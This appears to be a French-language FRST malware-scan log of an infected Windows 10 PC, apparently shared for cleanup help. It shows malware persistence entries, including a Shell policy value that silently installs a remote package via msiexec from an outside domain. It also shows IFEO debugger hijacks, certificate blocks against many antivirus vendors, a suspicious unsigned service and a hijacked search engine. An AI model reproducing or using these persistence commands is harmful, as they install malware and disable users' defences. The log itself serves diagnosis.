Résultats d'analyse de Farbar Recovery Scan Tool (FRST) (x64) Version: 02-06-2017 Exécuté par Adélie (administrateur) sur PC-FIXE-BRILLAU (03-06-2017 16:28:34) Exécuté depuis C:\Users\Adélie\AppData\Local\Temp\scoped_dir7336_24469 Profils chargés: Adélie (Profils disponibles: defaultuser0 & benja & Tim54 & Lucile & Iris & Adélie) Platform: Windows 10 Pro Version 1703 (X64) Langue: Français (France) Internet Explorer Version 11 (Navigateur par défaut: "C:\Program Files (x86)\Vivaldi\Application\vivaldi.exe" -- "%1") Mode d'amorçage: Normal Tutoriel pour Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/ ==================== Processus (Avec liste blanche) ================= (Si un élément est inclus dans le fichier fixlist.txt, le processus sera arrêté. Le fichier ne sera pas déplacé.) Impossible d'accéder au processus -> Secure System (NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe (Sandboxie Holdings, LLC) C:\Program Files\Sandboxie\SbieSvc.exe (Microsoft Corporation) C:\Windows\System32\rundll32.exe (AVAST Software) C:\Program Files\AVAST Software\Avast\AvastSvc.exe (Microsoft Corporation) C:\Windows\System32\vmms.exe (SafeNet Inc.) C:\Windows\System32\hasplms.exe (Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe (Tablet Driver) C:\Windows\System32\drivers\WTSrv.exe (VMware, Inc.) C:\Program Files (x86)\VMware\VMware Player\vmware-authd.exe (www.ext2fsd.com) C:\Program Files\Ext2Fsd\Ext2Srv.exe (Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe (VMware, Inc.) C:\Windows\SysWOW64\vmnat.exe (VMware, Inc.) C:\Windows\SysWOW64\vmnetdhcp.exe (Nuance Communications, Inc.) C:\Program Files (x86)\Common Files\Nuance\loggerservice.exe (NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe (NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe (Nuance Communications, Inc.) C:\Program Files (x86)\Common Files\Nuance\dgnsvc.exe (Microsoft Corporation) C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe (Logitech Inc.) C:\Program Files\Logitech Gaming Software\Drivers\APOService\LogiRegistryService.exe (Autodesk Inc.) C:\Program Files (x86)\Autodesk\Autodesk Desktop App\AdAppMgrSvc.exe (Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe (Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe (Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe (Microsoft Corporation) C:\Windows\System32\rundll32.exe (Microsoft Corporation) C:\Windows\System32\vmcompute.exe (AVAST Software s.r.o.) C:\Program Files\AVAST Software\Avast\x64\aswidsagenta.exe (NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe (NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvContainer\nvcontainer.exe (NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe (Microsoft Corporation) C:\Program Files\Windows Defender\MSASCuiL.exe (Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe (Logitech Inc.) C:\Program Files\Logitech Gaming Software\LCore.exe (Graphic Tablet Company Shenzhen) C:\PenTabletDriver\TabletDriver.exe (Hammer & Chisel, Inc.) C:\Users\Adélie\AppData\Local\Discord\app-0.0.297\Discord.exe (AVAST Software) C:\Program Files\AVAST Software\Avast\AvastUI.exe (Skype Technologies S.A.) C:\Program Files (x86)\Skype\Phone\Skype.exe (Sandboxie Holdings, LLC) C:\Program Files\Sandboxie\SbieCtrl.exe (Hammer & Chisel, Inc.) C:\Users\Adélie\AppData\Local\Discord\app-0.0.297\Discord.exe (Andy OS, inc.) C:\Program Files\Andy\HandyAndy.exe (Logitech Inc.) C:\Program Files\Logitech Gaming Software\Applets\LCDRSS.exe (Logitech Inc.) C:\Program Files\Logitech Gaming Software\Applets\LCDClock.exe (Logitech Inc.) C:\Program Files\Logitech Gaming Software\Applets\LCDPOP3.exe (Logitech Inc.) C:\Program Files\Logitech Gaming Software\Applets\LCDMedia.exe (Logitech Inc.) C:\Program Files\Logitech Gaming Software\Applets\LCDCountdown.exe (Piriform Ltd) C:\Program Files\CCleaner\CCleaner64.exe (Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe (Tablet Driver) C:\Windows\SysWOW64\WTClient.exe (Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe (Autodesk, Inc.) C:\Program Files (x86)\Autodesk\Autodesk Desktop App\AutodeskDesktopApp.exe (Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\IPC\AdobeIPCBroker.exe (Autodesk) C:\Program Files (x86)\Autodesk\Autodesk Desktop App\AcWebBrowser\acwebbrowser.exe (Autodesk) C:\Program Files (x86)\Autodesk\Autodesk Desktop App\AcWebBrowser\acwebbrowser.exe (Autodesk) C:\Program Files (x86)\Autodesk\Autodesk Desktop App\AcWebBrowser\acwebbrowser.exe (Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe (Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe () C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSync\CoreSync.exe (Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\CCXProcess.exe (Node.js) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\libs\node.exe (Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe (Node.js) C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe () C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.16.595.0_x64__kzf8qxf38zg5c\SkypeHost.exe (Hammer & Chisel, Inc.) C:\Users\Adélie\AppData\Local\Discord\app-0.0.297\Discord.exe (Skype Technologies) C:\Program Files (x86)\Skype\Browser\SkypeBrowserHost.exe (Microsoft Corporation) C:\Windows\System32\dllhost.exe (Oracle Corporation) C:\Program Files\Java\jre1.8.0_121\bin\javaw.exe (Microsoft Corporation) C:\Windows\System32\dllhost.exe (Mojang) C:\Users\Tim54\AppData\Roaming\.minecraft\MinecraftLauncher.exe (Mojang) C:\Users\Tim54\AppData\Roaming\.minecraft\MinecraftLauncher.exe (Mojang) C:\Users\Tim54\AppData\Roaming\.minecraft\MinecraftLauncher.exe (Microsoft Corporation) C:\Windows\System32\bcastdvr.exe (Oracle Corporation) C:\Users\Tim54\AppData\Roaming\.minecraft\runtime\jre-x64\1.8.0_25\bin\javaw.exe ==================== Registre (Avec liste blanche) ==================== (Si un élément est inclus dans le fichier fixlist.txt, l'élément de Registre sera restauré à la valeur par défaut ou supprimé. Le fichier ne sera pas déplacé.) HKLM\...\Run: [SecurityHealth] => C:\Program Files\Windows Defender\MSASCuiL.exe [629152 2017-03-18] (Microsoft Corporation) HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe [7174728 2013-03-29] (Realtek Semiconductor) HKLM\...\Run: [Launch LCore] => C:\Program Files\Logitech Gaming Software\LCore.exe [16293496 2016-09-29] (Logitech Inc.) HKLM\...\Run: [TabletDriver] => C:\PenTabletDriver\TabletDriver.exe [634240 2016-05-27] (Graphic Tablet Company Shenzhen) HKLM\...\Run: [AdobeAAMUpdater-1.0] => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [508128 2016-07-01] (Adobe Systems Incorporated) HKLM\...\Run: [ShadowPlay] => "C:\Windows\system32\rundll32.exe" C:\Windows\system32\nvspcap64.dll,ShadowPlayOnSystemStart HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [2780112 2017-01-20] (Malwarebytes) HKLM\...\Run: [AvastUI.exe] => C:\Program Files\AVAST Software\Avast\AvLaunch.exe [213824 2017-05-04] (AVAST Software) HKLM-x32\...\Run: [Adobe Creative Cloud] => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe [2383040 2016-10-25] (Adobe Systems Incorporated) HKLM-x32\...\Run: [WTClient] => C:\Windows\system32\WTClient.exe [41280 2014-01-13] (Tablet Driver) HKLM-x32\...\Run: [ISUSPM] => C:\ProgramData\FLEXnet\Connect\11\\isuspm.exe [2075480 2013-06-24] (Flexera Software LLC.) HKLM-x32\...\Run: [DNS7reminder] => "C:\Program Files (x86)\Nuance\NaturallySpeaking13\Ereg\Ereg.exe" -r "C:\ProgramData\Nuance\NaturallySpeaking13\Ereg.ini" HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [587288 2016-12-12] (Oracle Corporation) HKLM-x32\...\Run: [Autodesk Desktop App] => C:\Program Files (x86)\Autodesk\Autodesk Desktop App\AutodeskDesktopApp.exe [704424 2017-03-10] (Autodesk, Inc.) HKLM\ DisallowedCertificates: 03D22C9C66915D58C88912B64C1F984B8344EF09 (Comodo Security Solutions) <==== ATTENTION HKLM\ DisallowedCertificates: 0F684EC1163281085C6AF20528878103ACEFCAAB (F-Secure Corporation) <==== ATTENTION HKLM\ DisallowedCertificates: 1667908C9E22EFBD0590E088715CC74BE4C60884 (U) HKLM\ DisallowedCertificates: 18DEA4EFA93B06AE997D234411F3FD72A677EECE (U) HKLM\ DisallowedCertificates: 2026D13756EB0DB753DF26CB3B7EEBE3E70BB2CF (U) HKLM\ DisallowedCertificates: 249BDA38A611CD746A132FA2AF995A2D3C941264 (Malwarebytes Corporation) <==== ATTENTION HKLM\ DisallowedCertificates: 31AC96A6C17C425222C46D55C3CCA6BA12E54DAF (U) HKLM\ DisallowedCertificates: 331E2046A1CCA7BFEF766724394BE6112B4CA3F7 (Trend Micro) <==== ATTENTION HKLM\ DisallowedCertificates: 3353EA609334A9F23A701B9159E30CB6C22D4C59 (U) HKLM\ DisallowedCertificates: 373C33726722D3A5D1EDD1F1585D5D25B39BEA1A (SUPERAntiSpyware.com) <==== ATTENTION HKLM\ DisallowedCertificates: 3850EDD77CC74EC9F4829AE406BBF9C21E0DA87F (Kaspersky Lab) <==== ATTENTION HKLM\ DisallowedCertificates: 3D496FA682E65FC122351EC29B55AB94F3BB03FC (AVG Technologies CZ) <==== ATTENTION HKLM\ DisallowedCertificates: 4243A03DB4C3C15149CEA8B38EEA1DA4F26BD159 (PC Tools) <==== ATTENTION HKLM\ DisallowedCertificates: 42727E052C0C2E1B35AB53E1005FD9EDC9DE8F01 (K7 Computing Pvt Ltd) <==== ATTENTION HKLM\ DisallowedCertificates: 4420C99742DF11DD0795BC15B7B0ABF090DC84DF (Doctor Web Ltd.) <==== ATTENTION HKLM\ DisallowedCertificates: 4C0AF5719009B7C9D85C5EAEDFA3B7F090FE5FFF (U) HKLM\ DisallowedCertificates: 5240AB5B05D11B37900AC7712A3C6AE42F377C8C (Check Point Software Technologies Ltd.) <==== ATTENTION HKLM\ DisallowedCertificates: 5DD3D41810F28B2A13E9A004E6412061E28FA48D (Emsisoft Ltd) <==== ATTENTION HKLM\ DisallowedCertificates: 7457A3793086DBB58B3858D6476889E3311E550E (U) HKLM\ DisallowedCertificates: 76A9295EF4343E12DFC5FE05DC57227C1AB00D29 (BullGuard Ltd) <==== ATTENTION HKLM\ DisallowedCertificates: 775B373B33B9D15B58BC02B184704332B97C3CAF (McAfee) <==== ATTENTION HKLM\ DisallowedCertificates: 872CD334B7E7B3C3D1C6114CD6B221026D505EAB (Comodo Security Solutions) <==== ATTENTION HKLM\ DisallowedCertificates: 88AD5DFE24126872B33175D1778687B642323ACF (McAfee) <==== ATTENTION HKLM\ DisallowedCertificates: 9132E8B079D080E01D52631690BE18EBC2347C1E (Adaware Software) <==== ATTENTION HKLM\ DisallowedCertificates: 982D98951CF3C0CA2A02814D474A976CBFF6BDB1 (Safer Networking Ltd.) <==== ATTENTION HKLM\ DisallowedCertificates: 9A08641F7C5F2CCA0888388BE3E5DBDDAAA3B361 (Webroot Inc.) <==== ATTENTION HKLM\ DisallowedCertificates: 9C43F665E690AB4D486D4717B456C5554D4BCEB5 (U) HKLM\ DisallowedCertificates: 9E3F95577B37C74CA2F70C1E1859E798B7FC6B13 (U) HKLM\ DisallowedCertificates: A1F8DCB086E461E2ABB4B46ADCFA0B48C58B6E99 (Avira Operations GmbH & Co. KG) <==== ATTENTION HKLM\ DisallowedCertificates: A5341949ABE1407DD7BF7DFE75460D9608FBC309 (U) HKLM\ DisallowedCertificates: A59CC32724DD07A6FC33F7806945481A2D13CA2F (ESET) <==== ATTENTION HKLM\ DisallowedCertificates: AB7E760DA2485EA9EF5A6EEE7647748D4BA6B947 (AVG Technologies CZ) <==== ATTENTION HKLM\ DisallowedCertificates: AD4C5429E10F4FF6C01840C20ABA344D7401209F (Avast Antivirus/Software) <==== ATTENTION HKLM\ DisallowedCertificates: AD96BB64BA36379D2E354660780C2067B81DA2E0 (Symantec Corporation) <==== ATTENTION HKLM\ DisallowedCertificates: B8EBF0E696AF77F51C96DB4D044586E2F4F8FD84 (U) HKLM\ DisallowedCertificates: CDC37C22FE9272D8F2610206AD397A45040326B8 (U) HKLM\ DisallowedCertificates: D3F78D747E7C5D6D3AE8ABFDDA7522BFB4CBD598 (Kaspersky Lab) <==== ATTENTION HKLM\ DisallowedCertificates: DB303C9B61282DE525DC754A535CA2D6A9BD3D87 (ThreatTrack Security) <==== ATTENTION HKLM\ DisallowedCertificates: DB77E5CFEC34459146748B667C97B185619251BA (Avast Antivirus/Software) <==== ATTENTION HKLM\ DisallowedCertificates: E22240E837B52E691C71DF248F12D27F96441C00 (U) HKLM\ DisallowedCertificates: E513EAB8610CFFD7C87E00BCA15C23AAB407FCEF (AVG Technologies CZ) <==== ATTENTION HKLM\ DisallowedCertificates: ED841A61C0F76025598421BC1B00E24189E68D54 (Bitdefender SRL) <==== ATTENTION HKLM\ DisallowedCertificates: F83099622B4A9F72CB5081F742164AD1B8D048C9 (ESET) <==== ATTENTION HKLM\ DisallowedCertificates: FBB42F089AF2D570F2BF6F493D107A3255A9BB1A (Panda Security S.L) <==== ATTENTION HKLM\ DisallowedCertificates: FFFA650F2CB2ABC0D80527B524DD3F9FC172C138 (Doctor Web Ltd.) <==== ATTENTION HKU\S-1-5-21-800668894-2218149350-3903315281-1005\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [27716568 2017-05-04] (Skype Technologies S.A.) HKU\S-1-5-21-800668894-2218149350-3903315281-1005\...\Run: [Steam] => C:\Program Files (x86)\Steam\steam.exe [3042592 2017-06-01] (Valve Corporation) HKU\S-1-5-21-800668894-2218149350-3903315281-1005\...\Run: [CCleaner Monitoring] => C:\Program Files\CCleaner\CCleaner64.exe [9532120 2017-04-11] (Piriform Ltd) HKU\S-1-5-21-800668894-2218149350-3903315281-1005\...\Run: [00fn4sxehaf] => "C:\Users\Adélie\AppData\Roaming\n2xoyrfs3j4\zph1yr11khd.exe" HKU\S-1-5-21-800668894-2218149350-3903315281-1005\...\Run: [SandboxieControl] => C:\Program Files\Sandboxie\SbieCtrl.exe [799368 2017-04-12] (Sandboxie Holdings, LLC) HKU\S-1-5-21-800668894-2218149350-3903315281-1005\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.ltdmsjq.com/?data=zDlkMj1LM8MyMWE2NjU8Mjq8FkVXOWhWRUYdFdI1OWkyNTqcRq== /q HKU\S-1-5-21-800668894-2218149350-3903315281-1005\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\Windows\system32\Mystify.scr [150016 2017-03-18] (Microsoft Corporation) IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe ShellIconOverlayIdentifiers: [ AccExtIco1] -> {AB9CF9F8-8A96-4F9D-BF21-CE85714C3A47} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-10-25] () ShellIconOverlayIdentifiers: [ AccExtIco2] -> {853B7E05-C47D-4985-909A-D0DC5C6D7303} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-10-25] () ShellIconOverlayIdentifiers: [ AccExtIco3] -> {42D38F2E-98E9-4382-B546-E24E4D6D04BB} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll [2016-10-25] () ShellIconOverlayIdentifiers: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} => C:\Program Files\AVAST Software\Avast\ashShA64.dll [2017-05-04] (AVAST Software) ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => C:\Program Files\AVAST Software\Avast\ashShA64.dll [2017-05-04] (AVAST Software) Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\HandyAndy.lnk [2016-12-20] ShortcutTarget: HandyAndy.lnk -> C:\Program Files\Andy\HandyAndy.exe (Andy OS, inc.) GroupPolicy: Restriction - Chrome <======= ATTENTION GroupPolicyUsers\S-1-5-21-800668894-2218149350-3903315281-1002\User: Restriction <======= ATTENTION ==================== Internet (Avec liste blanche) ==================== (Si un élément est inclus dans le fichier fixlist.txt, s'il s'agit d'un élément du Registre, il sera supprimé ou restauré à la valeur par défaut.) Hosts: Fichier hosts non détecté dans le dossier par défaut Tcpip\Parameters: [NameServer] 8.8.8.8 Tcpip\..\Interfaces\{00a811bb-54be-484e-9752-4268d85779d5}: [NameServer] 8.8.8.8 Tcpip\..\Interfaces\{133a2027-879b-4620-8611-ebbf5f34e327}: [NameServer] 8.8.8.8 Tcpip\..\Interfaces\{22654ee0-9ded-4b12-804c-c5a47b9dbce3}: [NameServer] 8.8.8.8 Tcpip\..\Interfaces\{3688c65a-3a4c-11e7-8702-806e6f6e6963}: [NameServer] 8.8.8.8 Tcpip\..\Interfaces\{7ac08298-dec5-4723-8462-db5a04c031f6}: [NameServer] 8.8.8.8 Tcpip\..\Interfaces\{d0e188fe-9167-4c82-aa7d-cf6b6cae6376}: [NameServer] 8.8.8.8 Tcpip\..\Interfaces\{d0e188fe-9167-4c82-aa7d-cf6b6cae6376}: [DhcpNameServer] 192.168.1.1 Internet Explorer: ================== BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office\Office15\OCHelper.dll [2017-04-11] (Microsoft Corporation) BHO: Dragon Web Extension For Internet Explorer -> {609C0837-8DD3-4F9B-AAC5-446F36BC0353} -> C:\Program Files (x86)\Nuance\NaturallySpeaking13\Program\x64\dgnriaie_x64.dll [2014-11-04] (Nuance Communications, Inc.) BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_121\bin\ssv.dll [2017-03-04] (Oracle Corporation) BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-03-04] (Oracle Corporation) BHO-x32: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\Office15\OCHelper.dll [2017-04-11] (Microsoft Corporation) BHO-x32: Dragon Web Extension For Internet Explorer -> {609C0837-8DD3-4F9B-AAC5-446F36BC0353} -> C:\Program Files (x86)\Nuance\NaturallySpeaking13\Program\dgnriaie.dll [2014-11-04] (Nuance Communications, Inc.) Handler: osf - {D924BDC6-C83A-4BD5-90D0-095128A113D1} - C:\Program Files\Microsoft Office\Office15\MSOSB.DLL [2016-10-11] (Microsoft Corporation) FireFox: ======== FF Plugin: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-03-04] (Oracle Corporation) FF Plugin: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-03-04] (Oracle Corporation) FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation) FF Plugin: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~1\MICROS~1\Office15\NPSPWRAP.DLL [2014-01-23] (Microsoft Corporation) FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect64.dll [2016-10-25] (Adobe Systems) FF Plugin: nuance.com/DgnRia2_x86_64 -> C:\Program Files (x86)\Nuance\NaturallySpeaking13\Program\x64\npDgnRia2_x64.dll [2014-11-04] (Nuance Communications, Inc.) FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files (x86)\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll [2016-11-15] (Microsoft Corporation) FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation) FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~1\Office15\NPSPWRAP.DLL [2014-01-22] (Microsoft Corporation) FF Plugin-x32: @nvidia.com/3DVision -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll [2017-05-01] (NVIDIA Corporation) FF Plugin-x32: @nvidia.com/3DVisionStreaming -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll [2017-05-01] (NVIDIA Corporation) FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-29] (Google Inc.) FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-29] (Google Inc.) FF Plugin-x32: @videolan.org/vlc,version=2.2.6 -> C:\Program Files (x86)\adslTV\VLC\npvlc.dll [2017-05-24] (VideoLAN) FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect32.dll [2016-10-25] (Adobe Systems) FF Plugin-x32: nuance.com/DgnRia2 -> C:\Program Files (x86)\Nuance\NaturallySpeaking13\Program\npDgnRia2.dll [2014-11-04] (Nuance Communications, Inc.) FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npMeetingJoinPluginOC.dll [2016-11-15] (Microsoft Corporation) Chrome: ======= CHR DefaultProfile: ChromeDefaultData CHR DefaultSearchURL: ChromeDefaultData -> hxxp://www.mystarting123.com/search/index.php?z=5af7bcc4642fa430bfc2e18gfzftbqcc4o1c3e2g5o&q={searchTerms} CHR DefaultSearchKeyword: ChromeDefaultData -> mystarting123 CHR Profile: C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData [2017-06-03] <==== ATTENTION CHR Extension: (Google Slides) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2016-12-11] CHR Extension: (Google Docs) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\aohghmighlieiainnegkcijnfilokake [2016-12-11] CHR Extension: (Google Drive) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\apdfllckaahabafndbhieahigkjlhalf [2016-12-11] CHR Extension: (YouTube) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2016-12-11] CHR Extension: (Chrome Cleaner Pro) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\ccjleegmemocfpghkhpjmiccjcacackp [2017-05-31] CHR Extension: (BitComet Download Extension for Chrome) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\dhigneefebkcagnpnpbibganpmfgebnk [2016-12-11] CHR Extension: (Google Sheets) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2016-12-11] CHR Extension: (Google Docs hors connexion) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-12-19] CHR Extension: (JetBrains IDE Support) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\hmhgeddbohgjknpmjagkdomcpobmllji [2017-04-27] CHR Extension: (Paiements via le Chrome Web Store) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-04-27] CHR Extension: (Gmail) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2016-12-11] CHR Extension: (Chrome Media Router) - C:\Users\Adélie\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-05-31] CHR HKLM-x32\...\Chrome\Extension: [ccjleegmemocfpghkhpjmiccjcacackp] - hxxps://clients2.google.com/service/update2/crx CHR HKLM-x32\...\Chrome\Extension: [dhigneefebkcagnpnpbibganpmfgebnk] - hxxps://clients2.google.com/service/update2/crx ==================== Services (Avec liste blanche) ==================== (Si un élément est inclus dans le fichier fixlist.txt, il sera supprimé du Registre. Le fichier ne sera pas déplacé, sauf s'il est inscrit séparément.) S3 ACTION_SVC; C:\Program Files (x86)\Mirillis\Action!\action_svc.exe [16064 2014-10-25] () R2 AdAppMgrSvc; C:\Program Files (x86)\Autodesk\Autodesk Desktop App\AdAppMgrSvc.exe [1309176 2017-03-10] (Autodesk Inc.) R2 AdobeUpdateService; C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe [744640 2016-10-25] (Adobe Systems Incorporated) R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated) R3 aswbIDSAgent; C:\Program Files\AVAST Software\Avast\x64\aswidsagenta.exe [7346208 2017-05-04] (AVAST Software s.r.o.) [Fichier non signé] R2 avast! Antivirus; C:\Program Files\AVAST Software\Avast\AvastSvc.exe [263304 2017-05-04] (AVAST Software) [Fichier non signé] S2 CG6Service; C:\Program Files\CyberGhost 6\CyberGhost.Service.exe [77872 2017-03-08] (CyberGhost S.R.L) R2 DragonLoggerService; C:\Program Files (x86)\Common Files\Nuance\loggerservice.exe [151616 2014-11-04] (Nuance Communications, Inc.) S3 EasyAntiCheat; C:\Windows\SysWOW64\EasyAntiCheat.exe [395024 2016-12-27] (EasyAntiCheat Ltd) R2 Ext2Srv; C:\Program Files\Ext2Fsd\Ext2Srv.exe [34816 2016-09-14] (www.ext2fsd.com) S2 glory; C:\Users\Adélie\AppData\Local\glory\glory.dll [809984 2017-06-02] (glory) [Fichier non signé] <==== ATTENTION R2 hasplms; C:\Windows\system32\hasplms.exe [4665168 2015-08-16] (SafeNet Inc.) S2 IpOverUsbSvc; C:\Program Files (x86)\Common Files\Microsoft Shared\Phone Tools\CoreCon\11.0\bin\IpOverUsbSvc.exe [21184 2016-07-28] (Microsoft Corporation) R2 LogiRegistryService; C:\Program Files\Logitech Gaming Software\Drivers\APOService\LogiRegistryService.exe [193656 2016-09-29] (Logitech Inc.) R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4355024 2017-01-20] (Malwarebytes) [Fichier non signé] S3 mi-raysat_3dsmax2017_64; C:\Program Files\Autodesk\3ds Max 2017\raysat_3dsmax2017_64server.exe [86016 2011-09-15] () [Fichier non signé] R2 NvContainerLocalSystem; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [495224 2017-05-03] (NVIDIA Corporation) S3 NvContainerNetworkService; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [495224 2017-05-03] (NVIDIA Corporation) R2 NVDisplay.ContainerLocalSystem; C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe [462968 2017-05-01] (NVIDIA Corporation) R2 NvTelemetryContainer; C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe [450168 2017-05-03] (NVIDIA Corporation) R2 SbieSvc; C:\Program Files\Sandboxie\SbieSvc.exe [197768 2017-04-12] (Sandboxie Holdings, LLC) S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [3913064 2017-03-20] (Microsoft Corporation) S3 Te.Service; C:\Program Files (x86)\Windows Kits\10\Testing\Runtimes\TAEF\Wex.Services.exe [139264 2016-07-27] (Microsoft Corporation) [Fichier non signé] R3 vmcompute; C:\WINDOWS\system32\vmcompute.exe [2231296 2017-05-16] (Microsoft Corporation) R2 vmms; C:\WINDOWS\system32\vmms.exe 